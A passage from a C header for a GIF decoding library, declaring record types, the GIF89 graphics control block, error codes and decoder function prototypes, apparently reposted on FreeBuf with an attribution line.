//#define GIF_ASPECT_RATIO(n)    ((n)+15.0/64.0)

typedef enum {

    UNDEFINED_RECORD_TYPE,

    SCREEN_DESC_RECORD_TYPE,

    IMAGE_DESC_RECORD_TYPE, /* Begin with ',' */

            EXTENSION_RECORD_TYPE, /* Begin with '!' */

            TERMINATE_RECORD_TYPE   /* Begin with ';' */

} GifRecordType;

/* func type to read gif data from arbitrary sources (TVT) */

typedef uint_fast8_t (*InputFunc)(GifFileType *, GifByteType *, uint_fast8_t);

/******************************************************************************

 GIF89 structures

******************************************************************************/

typedef struct GraphicsControlBlock {

    uint_fast8_t DisposalMode;

#define DISPOSAL_UNSPECIFIED      0       /* No disposal specified. */

#define DISPOSE_DO_NOT            1       /* Leave image in place */

#define DISPOSE_BACKGROUND        2       /* Set area too background color */

#define DISPOSE_PREVIOUS          3       /* Restore to previous content */

//    bool UserInputFlag;      /* User confirmation required before disposal */

    uint_fast32_t DelayTime;

    /* pre-display delay in 0.01sec units */

    int TransparentColor;    /* Palette index for transparency, -1 if none */

#define NO_TRANSPARENT_COLOR    -1

} GraphicsControlBlock;

/******************************************************************************

 GIF decoding routines

******************************************************************************/

/* Main entry points */

GifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error);

/* new one (TVT) */

int DGifCloseFile(GifFileType *GifFile);

#define D_GIF_ERR_OPEN_FAILED    101    /* And DGif possible errors. */

#define D_GIF_ERR_READ_FAILED    102

#define D_GIF_ERR_NOT_GIF_FILE   103

#define D_GIF_ERR_NO_SCRN_DSCR   104

#define D_GIF_ERR_NO_IMAG_DSCR   105

#define D_GIF_ERR_NO_COLOR_MAP   106

#define D_GIF_ERR_WRONG_RECORD   107

#define D_GIF_ERR_DATA_TOO_BIG   108

#define D_GIF_ERR_NOT_ENOUGH_MEM 109

#define D_GIF_ERR_CLOSE_FAILED   110

#define D_GIF_ERR_NOT_READABLE   111

#define D_GIF_ERR_IMAGE_DEFECT   112

#define D_GIF_ERR_EOF_TOO_SOON   113

#define E_GIF_SUCCEEDED          0

#define E_GIF_ERR_OPEN_FAILED    1    /* And EGif possible errors. */

#define E_GIF_ERR_WRITE_FAILED   2

#define E_GIF_ERR_HAS_SCRN_DSCR  3

#define E_GIF_ERR_HAS_IMAG_DSCR  4

#define E_GIF_ERR_NO_COLOR_MAP   5

#define E_GIF_ERR_DATA_TOO_BIG   6

#define E_GIF_ERR_NOT_ENOUGH_MEM 7

#define E_GIF_ERR_DISK_IS_FULL   8

#define E_GIF_ERR_CLOSE_FAILED   9

#define E_GIF_ERR_NOT_WRITEABLE  10

/* These are legacy.  You probably do not want to call them directly */

int DGifGetScreenDesc(GifFileType *GifFile);

int DGifGetRecordType(GifFileType *GifFile, GifRecordType *GifType);

int DGifGetImageDesc(GifFileType *GifFile, bool changeImageCount);

int DGifGetLine(GifFileType *GifFile, GifPixelType *GifLine, uint_fast32_t GifLineLen);

int DGifGetExtension(GifFileType *GifFile, int *GifExtCode,

                     GifByteType **GifExtension);

int DGifGetExtensionNext(GifFileType *GifFile, GifByteType **GifExtension);

int DGifGetCodeNext(GifFileType *GifFile, GifByteType **GifCodeBlock);

int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen);

/*****************************************************************************

 Everything below this point is new after version 1.2, supporting `slurp

 mode' for doing I/O in two big belts with all the image-bashing in core.

******************************************************************************/

/******************************************************************************

 Color map handling from gif_alloc.c

******************************************************************************/

extern ColorMapObject *GifMakeMapObject(uint_fast8_t BitsPerPixel,

                                        const GifColorType *ColorMap);

extern void GifFreeMapObject(ColorMapObject *Object);

//extern int GifBitSize(int n);

#include <sys/types.h>

#include <errno.h>

#include <stdlib.h>

#include <limits.h>

/******************************************************************************

 Support for the in-core structures allocation (slurp mode).              

******************************************************************************/

//extern void GifFreeExtensions(int *ExtensionBlock_Count,

//                  ExtensionBlock **ExtensionBlocks);

extern void GifFreeSavedImages(GifFileType *GifFile);

/******************************************************************************

 5.x functions for GIF89 graphics control blocks

******************************************************************************/

int DGifExtensionToGCB(const size_t GifExtensionLength,

                       const GifByteType *GifExtension,

                       GraphicsControlBlock *GCB);

#endif /* _GIF_LIB_H */

/* end */

*参考来源:awakened1712,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: